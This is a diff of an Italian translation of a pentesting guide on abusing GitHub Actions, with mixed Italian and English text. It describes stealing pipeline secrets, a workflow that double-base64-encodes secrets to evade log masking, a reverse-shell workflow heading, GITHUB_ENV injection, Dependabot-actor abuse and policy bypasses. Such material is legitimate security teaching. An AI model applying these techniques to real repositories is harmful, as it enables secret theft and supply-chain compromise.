Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -1,4 +1,4 @@
-# Abuso di Github Actions
+# Abusare di Github Actions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -16,25 +16,25 @@ The following tools are useful to find Github Action workflows and even find vul
 
 In questa pagina troverai:
 
-- Un **riassunto di tutti gli impatti** che un attaccante può causare ottenendo accesso a una Github Action
-- Diverse modalità per **ottenere accesso a un action**:
-- Avere i **permessi** per creare l'action
-- Abusare dei trigger legati ai **pull request**
+- Un **sommario di tutti gli impatti** di un attacker che riesce ad accedere a una Github Action
+- Diversi modi per **ottenere accesso a una Github Action**:
+- Avere **permessi** per creare l'action
+- Abusare dei trigger relativi ai **pull request**
 - Abusare di **altre tecniche di accesso esterno**
 - **Pivoting** da un repo già compromesso
-- Infine, una sezione sulle **tecniche di post-exploitation per abusare di un action dall'interno** (per causare gli impatti menzionati)
+- Infine, una sezione sulle **tecniche di post-exploitation per abusare di una action dall'interno** (causare gli impatti menzionati)
 
-## Sommario degli impatti
+## Riepilogo degli impatti
 
-Per un'introduzione su [**Github Actions consulta le informazioni di base**](../basic-github-information.md#github-actions).
+Per un'introduzione su [**Github Actions, consulta le informazioni di base**](../basic-github-information.md#github-actions).
 
 Se puoi **eseguire codice arbitrario in GitHub Actions** all'interno di un **repository**, potresti essere in grado di:
 
-- **Rubare secrets** montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
-- **Compromettere deployment** e altri **artifacts**.
-- Se la pipeline effettua deploy o memorizza asset, potresti alterare il prodotto finale, abilitando un supply chain attack.
-- **Eseguire codice in custom workers** per abusare della potenza di calcolo e pivotare verso altri sistemi.
-- **Sovrascrivere il codice del repository**, a seconda dei permessi associati al `GITHUB_TOKEN`.
+- Rubare secrets montati nella pipeline e abusare dei privilegi della pipeline per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
+- Compromettere deployments e altri artifacts.
+- Se la pipeline deploya o immagazzina asset, potresti alterare il prodotto finale, abilitando un attacco alla supply chain.
+- Eseguire codice in custom workers per abusare della potenza di calcolo e pivotare verso altri sistemi.
+- Sovrascrivere il codice del repository, a seconda dei permessi associati con il `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
 
@@ -47,12 +47,12 @@ This token is the same one a **Github Application will use**, so it can access t
 > [!WARNING]
 > Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
 
-Puoi vedere i possibili **permessi** di questo token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Nota che il token **scade dopo che il job è terminato**.\
-Questi token assomigliano a: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Note that the token **expires after the job has completed**.\
+These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-Alcune cose interessanti che puoi fare con questo token:
+Some interesting things you can do with this token:
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
@@ -91,7 +91,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Nota che in diverse occasioni potrai trovare **github user tokens inside Github Actions envs or in the secrets**. Questi tokens possono darti più privilegi sul repository e sull'organizzazione.
+> Nota che in diverse occasioni potrai trovare **github user tokens inside Github Actions envs or in the secrets**. Questi token possono darti più privilegi sul repository e sull'organization.
 
 <details>
 
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-È possibile verificare i permessi assegnati a un Github Token nei repository di altri utenti **controllando i log** delle actions:
+È possibile verificare i permessi concessi a un Github Token nei repository di altri utenti **controllando i log** delle actions:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
 ## Esecuzione consentita
 
 > [!NOTE]
-> Questo sarebbe il modo più semplice per compromettere Github actions, poiché questo scenario presuppone che tu abbia accesso a **creare un nuovo repo nell'organizzazione**, oppure abbia **privilegi di scrittura su un repository**.
+> Questo sarebbe il modo più semplice per compromettere Github actions, poiché in questo caso si presuppone che tu abbia accesso a **create a new repo in the organization**, o che tu abbia **write privileges over a repository**.
 >
 > Se ti trovi in questo scenario puoi semplicemente consultare i [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
 
-### Esecuzione dalla creazione del repository
+### Esecuzione tramite creazione del repo
 
-Se i membri di un'organizzazione possono **creare nuovi repos** e tu puoi eseguire github actions, puoi **creare un nuovo repo e rubare i secrets impostati a livello di organizzazione**.
+Nel caso in cui i membri di un organization possano **create new repos** e tu possa eseguire github actions, puoi **create a new repo and steal the secrets set at organization level**.
 
 ### Esecuzione da un nuovo branch
 
-Se puoi **creare un nuovo branch in un repository che contiene già una Github Action** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'action dal nuovo branch**. In questo modo puoi **esfiltrare secrets a livello di repository e organizzazione** (ma devi sapere come si chiamano).
+Se puoi **create a new branch in a repository that already contains a Github Action** configurato, puoi **modify** it, **upload** the content, e poi **execute that action from the new branch**. In questo modo puoi **exfiltrate repository and organization level secrets** (ma devi sapere come si chiamano).
 
 > [!WARNING]
-> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
+> Qualsiasi restrizione implementata solo all'interno del workflow YAML (per esempio, `on: push: branches: [main]`, job conditionals, or manual gates) può essere modificata dai collaboratori. Senza enforcement esterno (branch protections, protected environments, and protected tags), un contributor può retargetare un workflow per farlo girare sul proprio branch e abusare dei mounted secrets/permissions.
 
-Puoi rendere l'action modificata eseguibile **manualmente,** quando viene **creata una PR** o quando viene **pushato del codice** (a seconda di quanto rumore vuoi fare):
+Puoi rendere l'action modificata eseguibile **manualmente,** quando viene **creato un PR** o quando **viene pushato del codice** (a seconda di quanto vuoi essere rumoroso):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -183,44 +183,44 @@ branches:
 ## Esecuzione da fork
 
 > [!NOTE]
-> Ci sono diversi trigger che potrebbero permettere a un attacker di **eseguire una Github Action di un altro repository**. Se quelle action triggerabili sono mal configurate, un attacker potrebbe riuscire a comprometterle.
+> Esistono diversi trigger che potrebbero permettere a un attacker di **eseguire una Github Action di un altro repository**. Se queste azioni triggerabili sono configurate male, un attacker potrebbe riuscire a comprometterle.
 
 ### `pull_request`
 
-Il workflow trigger **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: di default, se è la **prima volta** che stai **collaborando**, qualche **maintainer** dovrà **approvare** la **run** del workflow:
+Il workflow trigger **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: per default, se è la **prima volta** che stai **collaborando**, alcuni **maintainer** dovranno **approvare** l'**esecuzione** del workflow:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Poiché la **limitazione di default** vale per i **contributor alla prima esperienza**, potresti contribuire **correggendo un bug/typo valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi `pull_request`**.
+> Poiché la **limitazione di default** riguarda i contributori alla **prima partecipazione**, potresti contribuire **correggendo un bug/typo valido** e poi inviare **altre PR per abusare dei nuovi `pull_request` privilegi**.
 >
-> **Ho testato questo e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e cancellare il suo account.~~
+> **L'ho testato e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e cancellare il suo account.~~
 
-Inoltre, di default **vengono bloccati i permessi di scrittura** e **l'accesso ai secrets** al repository di destinazione come indicato nei [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Inoltre, per default **vengono impediti i permessi di scrittura** e **l'accesso ai secrets** del repository di destinazione come indicato nei [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
 > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
 
-Un attacker potrebbe modificare la definizione della Github Action per eseguire comandi arbitrari e aggiungere action arbitrarie. Tuttavia, non sarà in grado di rubare i secrets o sovrascrivere il repo a causa delle limitazioni menzionate.
+Un attacker potrebbe modificare la definizione della Github Action per eseguire azioni arbitrarie e aggiungere azioni arbitrarie. Tuttavia, non sarà in grado di rubare secrets o sovrascrivere il repo a causa delle limitazioni menzionate.
 
 > [!CAUTION]
-> **Sì, se l'attacker cambia nella PR la github action che verrà triggerata, la sua Github Action sarà quella usata e non quella del repo di origine!**
+> **Sì, se l'attacker modifica nella PR la github action che verrà attivata, la sua Github Action sarà quella usata e non quella del repo di origine!**
 
-Poiché l'attacker controlla anche il codice eseguito, anche se non ci sono secrets o permessi di scrittura sul `GITHUB_TOKEN`, un attacker potrebbe per esempio **uploadare artifacts maligni**.
+Poiché l'attacker controlla anche il codice eseguito, anche se non ci sono secrets o permessi di scrittura sul `GITHUB_TOKEN`, un attacker potrebbe ad esempio **caricare artefatti malevoli**.
 
 ### **`pull_request_target`**
 
-Il workflow trigger **`pull_request_target`** ha **permessi di scrittura** sul repository di destinazione e **accesso ai secrets** (e non richiede approvazione).
+Il workflow trigger **`pull_request_target`** ha **permessi di scrittura** sul repository di destinazione e **accesso ai secrets** (e non richiede autorizzazione).
 
-Nota che il workflow trigger **`pull_request_target`** **gira nel contesto base** e non in quello fornito dalla PR (per **non eseguire codice non affidabile**). Per maggiori dettagli su `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Inoltre, per informazioni su questo uso specifico pericoloso consulta questo [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Nota che il workflow trigger **`pull_request_target`** **gira nel contesto base** e non in quello fornito dalla PR (per **non eseguire codice non attendibile**). Per maggiori info su `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Inoltre, per maggiori dettagli su questo uso particolarmente pericoloso controlla questo [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Potrebbe sembrare che, dato che il **workflow eseguito** è quello definito nella **base** e non in quello della PR, sia **sicuro** usare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**.
+Potrebbe sembrare che, dato che il **workflow eseguito** è quello definito nella **base** e **non nella PR**, sia **sicuro** usare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**.
 
 E questo avrà **accesso ai secrets**.
 
 ### `workflow_run`
 
-Il trigger [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permette di eseguire un workflow da un altro quando questo è `completed`, `requested` o `in_progress`.
+The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
 
 In questo esempio, un workflow è configurato per essere eseguito dopo che il workflow separato "Run Tests" è completato:
 ```yaml
@@ -232,27 +232,27 @@ types:
 ```
 Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
 
-Questo tipo di workflow può essere attaccato se dipende da un **workflow** che può essere **triggered** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Il primo consiste nel workflow attivato da **`workflow_run`** che scarica il codice dell'attaccante: `${{ github.event.pull_request.head.sha }}`.  
-Il secondo consiste nel **passare** un **artifact** dal codice **untrusted** al workflow **`workflow_run`** e usare il contenuto di questo artifact in modo che lo renda **vulnerable to RCE**.
+Questo tipo di workflow può essere attaccato se dipende da un **workflow** che può essere **triggered** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Il primo consiste nel workflow triggerato da **`workflow_run`** che scarica il codice dell'attaccante: `${{ github.event.pull_request.head.sha }}`\
+Il secondo consiste nel **passare** un **artifact** dal codice **untrusted** al workflow **`workflow_run`** e usare il contenuto di questo artifact in modo da renderlo **vulnerabile a RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Verificare se quando eseguito da un `pull_request` il codice usato/scaricato è quello dell'origin o del forked PR
+TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
 
-## Abuso delle esecuzioni da fork
+## Abusing Forked Execution
 
-Abbiamo menzionato tutti i modi in cui un attaccante esterno può riuscire a far eseguire un github workflow; ora vediamo come queste esecuzioni, se configurate in modo errato, possano essere abusate:
+Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe fare in modo che un GitHub workflow venga eseguito; ora vediamo come queste esecuzioni, se male configurate, possano essere abusate:
 
-### Esecuzione di checkout non affidabile
+### Untrusted checkout execution
 
 Nel caso di **`pull_request`**, il workflow verrà eseguito nel **contesto della PR** (quindi eseguirà il **codice maligno della PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](#pull_request).
 
-Nel caso di un workflow che usa **`pull_request_target` or `workflow_run`** e che dipende da un workflow che può essere triggerato da **`pull_request_target` o `pull_request`**, verrà eseguito il codice del repo originale, quindi **l'attaccante non può controllare il codice eseguito**.
+Nel caso di un workflow che utilizza **`pull_request_target` or `workflow_run`** e che dipende da un workflow che può essere triggerato da **`pull_request_target` o `pull_request`**, verrà eseguito il codice del repo originale, quindi **l'attaccante non può controllare il codice eseguito**.
 
 > [!CAUTION]
-> Tuttavia, se l'**action** ha un **explicit PR checkout** che **prende il codice dalla PR** (e non dalla base), userà il codice controllato dall'attaccante. Per esempio (controlla la linea 12 dove viene scaricato il codice della PR):
+> Tuttavia, se l'**action** ha un **explicit PR checkout** che andrà a **prendere il codice dalla PR** (e non dal base), userà il codice controllato dall'attaccante. Per esempio (controlla la linea 12 dove il codice della PR viene scaricato):
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -285,11 +285,11 @@ Thank you!
 Il codice potenzialmente **untrusted viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i **packages** referenziati sono controllati dall'autore della PR.
 
 > [!WARNING]
-> Un github dork per cercare action vulnerabili è: `event.pull_request pull_request_target extension:yml`; tuttavia, ci sono diversi modi per configurare i job in modo sicuro anche se l'action è configurata in modo insicuro (ad esempio usando condizionali su chi è l'actor che genera la PR).
+> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
 
 ### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Nota che esistono certi [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea la PR. Se la github action usa quei **dati per eseguire qualcosa**, ciò potrebbe portare a **arbitrary code execution:**
+Nota che esistono certi [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea la PR. Se la github action sta usando quei **dati per eseguire qualsiasi cosa**, potrebbe portare a **arbitrary code execution:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -297,17 +297,17 @@ gh-actions-context-script-injections.md
 
 ### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Dalla documentazione: puoi rendere una **variabile d'ambiente disponibile ai passaggi successivi** in un job del workflow definendo o aggiornando la variabile d'ambiente e scrivendola nel file di ambiente **`GITHUB_ENV`**.
+Dalla documentazione: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
 
-Se un attaccante potesse **iniettare qualsiasi valore** in questa variabile di ambiente, potrebbe inserire variabili d'ambiente che potrebbero eseguire codice nei passaggi successivi come **LD_PRELOAD** o **NODE_OPTIONS**.
+Se un attaccante potesse **iniettare qualsiasi valore** dentro questa variabile **env**, potrebbe iniettare variabili d'ambiente che possono eseguire codice nelle step successive come **LD_PRELOAD** o **NODE_OPTIONS**.
 
-Per esempio ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzarne il contenuto nella variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
+Per esempio ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzarne il contenuto dentro la variabile **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
-### Dependabot e altri bot affidabili
+### Dependabot and other trusted bots
 
-Come indicato in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), molte organizzazioni hanno una Github Action che merge qualsiasi PR da `dependabot[bot]` come in:
+Come indicato in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), diverse organizzazioni hanno una GitHub Action che effettua il merge di qualsiasi PRR da `dependabot[bot]` come in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Questo è un problema perché il campo `github.actor` contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. E ci sono diversi modi per far sì che l'utente `dependabot[bot]` modifichi una PR. Per esempio:
+Questo è un problema perché il campo `github.actor` contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. Ci sono diversi modi per indurre l'utente `dependabot[bot]` a modificare una PR. Per esempio:
 
-- Fork del repository vittima
-- Aggiungi il payload malevolo alla tua copia
-- Abilita Dependabot sul tuo fork aggiungendo una dependency obsoleta. Dependabot creerà una branch che sistema la dependency con codice malevolo.
-- Apri una Pull Request al repository vittima da quella branch (la PR sarà creata dall'utente quindi non succederà ancora nulla)
-- Poi, l'attaccante ritorna alla PR iniziale che Dependabot ha aperto nel suo fork ed esegue `@dependabot recreate`
-- Successivamente, Dependabot esegue alcune azioni in quella branch, che modificano la PR sul repository vittima, il che rende `dependabot[bot]` l'actor dell'ultimo evento che ha attivato il workflow (e quindi il workflow viene eseguito).
+- Fare il fork del repository della vittima
+- Aggiungere il payload malevolo alla tua copia
+- Abilitare Dependabot sul tuo fork aggiungendo una dipendenza obsoleta. Dependabot creerà un branch che risolve la dipendenza con codice malevolo.
+- Aprire una Pull Request verso il repository della vittima da quel branch (la PR sarà creata dall'utente quindi ancora nulla accadrà)
+- Poi, l'attaccante torna alla PR iniziale che Dependabot ha aperto nel suo fork e esegue `@dependabot recreate`
+- Quindi, Dependabot esegue alcune azioni su quel branch, che modificano la PR nel repository della vittima, il che rende `dependabot[bot]` l'actor dell'ultimo evento che ha attivato il workflow (e quindi, il workflow viene eseguito).
 
-Proseguendo, cosa succede se, invece di un merge, la Github Action contenesse una command injection come in:
+Proseguendo, cosa succede se invece di eseguire il merge la Github Action contenesse una command injection come in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -336,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Il post originale propone due opzioni per abusare di questo comportamento; quella descritta qui è la seconda:
+Well, il post del blog originale propone due opzioni per abusare di questo comportamento, essendo la seconda:
 
-- Forkare il repository della vittima e abilitare Dependabot con una dipendenza obsoleta.
-- Creare un nuovo branch con il codice malevolo di shell injection.
-- Cambiare il branch di default del repo su quello.
-- Creare una PR da questo branch verso il repository vittima.
+- Fare il fork del repository della vittima e abilitare Dependabot con una dipendenza obsoleta.
+- Creare un nuovo branch contenente il codice di shell injection maligno.
+- Cambiare il default branch del repo su quello.
+- Creare una PR da questo branch verso il repository della vittima.
 - Eseguire `@dependabot merge` nella PR che Dependabot ha aperto nel suo fork.
-- Dependabot unirà i suoi cambiamenti nel branch di default del tuo repository forkato, aggiornando la PR nel repository vittima, facendo ora sì che `dependabot[bot]` sia l'attore dell'ultimo evento che ha attivato il workflow e usando un nome di branch malevolo.
+- Dependabot unirà le sue modifiche nel default branch del tuo repository forkato, aggiornando la PR nel repository della vittima e rendendo `dependabot[bot]` l'attore dell'ultimo evento che ha attivato il workflow, usando un nome di branch maligno.
 
-### Github Actions di terze parti vulnerabili
+### Vulnerable Third Party Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Come menzionato in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Github Action permette di accedere ad artifact provenienti da workflow diversi e persino da altri repository.
+As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Github Action permette di accedere ad artifacts da workflow diversi e persino da repository differenti.
 
-Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere poi utilizzati o anche eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.
+Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere poi usati o addirittura eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.
 
-Esempio di workflow vulnerabile:
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -376,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-Questo può essere attaccato con il seguente workflow:
+Questo potrebbe essere attaccato con questo workflow:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -397,23 +397,23 @@ path: ./script.py
 
 ### Deleted Namespace Repo Hijacking
 
-Se un account cambia il suo nome, un altro utente potrebbe registrare un account con quel nome dopo un certo periodo. Se un repository aveva **meno di 100 stars prima del cambio di nome**, Github permetterà al nuovo utente registrato con lo stesso nome di creare un **repository with the same name** as the one deleted.
+Se un account cambia il suo nome, un altro utente potrebbe registrare un account con lo stesso nome dopo un certo periodo. Se una repository aveva **less than 100 stars previously to the change of nam**e, Github permetterà al nuovo utente registrato con lo stesso nome di creare una **repository with the same name** di quella cancellata.
 
 > [!CAUTION]
-> Quindi se un action sta usando un repo di un account inesistente, è ancora possibile che un attacker possa creare quell'account e compromise l'action.
+> Quindi se un action sta usando un repo di un account inesistente, è comunque possibile che un attacker possa creare quell'account e compromettere l'action.
 
-Se altri repository stavano usando **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Se altre repository usavano **dependencies from this user repos**, un attacker sarà in grado di hijackarle. Qui trovi una spiegazione più completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
 ## Repo Pivoting
 
 > [!NOTE]
-> In questa sezione parleremo di tecniche che permetterebbero di **pivot from one repo to another** supponendo che abbiamo qualche tipo di accesso sul primo (vedi la sezione precedente).
+> In questa sezione parleremo delle tecniche che permettono di **pivot from one repo to another** supponendo di avere qualche tipo di accesso al primo (vedi la sezione precedente).
 
 ### Cache Poisoning
 
-Una cache viene mantenuta tra **wokflow runs in the same branch**. Questo significa che se un attacker **compromise** un **package** che viene poi memorizzato nella cache e **downloaded** ed eseguito da un **more privileged** workflow, sarà in grado di **compromise** anche quel workflow.
+Una cache viene mantenuta tra **wokflow runs in the same branch**. Ciò significa che se un attacker riesce a **compromise** un **package** che viene poi memorizzato nella cache e **downloaded** ed eseguito da un workflow **more privileged**, potrà **compromise** anche quel workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
 
 ### Artifact Poisoning
 
-I workflow possono usare **artifacts from other workflows and even repos**, se un attacker riesce a **compromise** il Github Action che **uploads an artifact** che viene poi utilizzato da un altro workflow, potrebbe **compromise the other workflows**:
+I workflow possono usare **artifacts from other workflows and even repos**; se un attacker riesce a **compromise** la Github Action che **uploads an artifact** che viene poi utilizzata da un altro workflow, potrebbe **compromise the other workflows**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md
 
 ### Github Action Policies Bypass
 
-Come commentato in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), anche se un repository o organization ha una policy che restringe l'uso di certe actions, un attacker potrebbe semplicemente fare download (`git clone`) di un action all'interno del workflow e poi referenziarlo come local action. Poiché le policies non influenzano i percorsi locali, **the action will be executed without any restriction.**
+Come commentato in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), anche se una repository o organizzazione ha una policy che restringe l'uso di certe actions, un attacker potrebbe semplicemente clonare (`git clone`) un action dentro il workflow e poi referenziarlo come local action. Poiché le policies non influenzano i percorsi locali, **the action will be executed without any restriction.**
 
-Esempio:
+Example:
 ```yaml
 on: [push, pull_request]
 
@@ -458,7 +458,7 @@ path: gha-hazmat
 ```
 ### Accesso ad AWS e GCP via OIDC
 
-Check the following pages:
+Consulta le seguenti pagine:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -468,11 +468,11 @@ Check the following pages:
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Accesso ai secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
+### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai secrets:
+Se stai iniettando contenuto in uno script, è utile sapere come puoi accedere ai secrets:
 
-- Se il secret o token è impostato come **variabile d'ambiente**, può essere recuperato direttamente dall'ambiente usando **`printenv`**.
+- Se il secret o token è impostato come **environment variable**, può essere direttamente accessibile dall'ambiente usando **`printenv`**.
 
 <details>
 
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Ottieni reverse shell con secrets</summary>
+<summary>Ottieni una reverse shell usando secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -526,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- Se il secret è usato **direttamente in un'espressione**, lo script shell generato viene memorizzato **su disco** ed è accessibile.
+- Se il secret è usato **direttamente in un'espressione**, lo script shell generato viene memorizzato **on-disk** ed è accessibile.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Per una JavaScript action i secrets vengono inviati tramite environment variables
+- Per una action JavaScript i secrets vengono inviati tramite variabili d'ambiente
 - ```bash
 ps axe | grep node
 ```
-- Per una **custom action**, il rischio può variare a seconda di come un programma sta usando il secret che ha ottenuto dall'**argument**:
+- Per una **custom action**, il rischio può variare a seconda di come un programma usa il secret ottenuto dall'**argomento**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -542,7 +542,7 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-- Enumerare tutti i secrets tramite il secrets context (collaborator level). Un contributor con write access può modificare un workflow su qualsiasi branch per dumpare tutti i secrets del repository/org/environment. Usa double base64 per evadere il log masking di GitHub e decodifica localmente:
+- Enumerare tutti i secrets tramite il secrets context (livello collaborator). Un contributor con accesso in scrittura può modificare un workflow su qualsiasi branch per estrarre tutti i secrets del repository/org/environment. Usa doppio base64 per evadere il log masking di GitHub e decodifica localmente:
 
 ```yaml
 name: Steal secrets
@@ -564,15 +564,15 @@ Decodifica localmente:
 echo "ZXdv...Zz09" | base64 -d | base64 -d
 ```
 
-Suggerimento: per stealth durante i test, cripta prima di stampare (openssl è preinstallato sui GitHub-hosted runners).
+Suggerimento: per maggiore stealth durante i test, cifra prima di stampare (openssl è preinstallato sui GitHub-hosted runners).
 
 ### Abuso dei Self-hosted runners
 
-Il modo per scoprire quali **GitHub Actions vengono eseguite su infrastrutture non-GitHub** è cercare **`runs-on: self-hosted`** nella configurazione yaml delle GitHub Actions.
+Il modo per trovare quali **Github Actions vengono eseguite in infrastrutture non-github** è cercare **`runs-on: self-hosted`** nella configurazione yaml di Github Action.
 
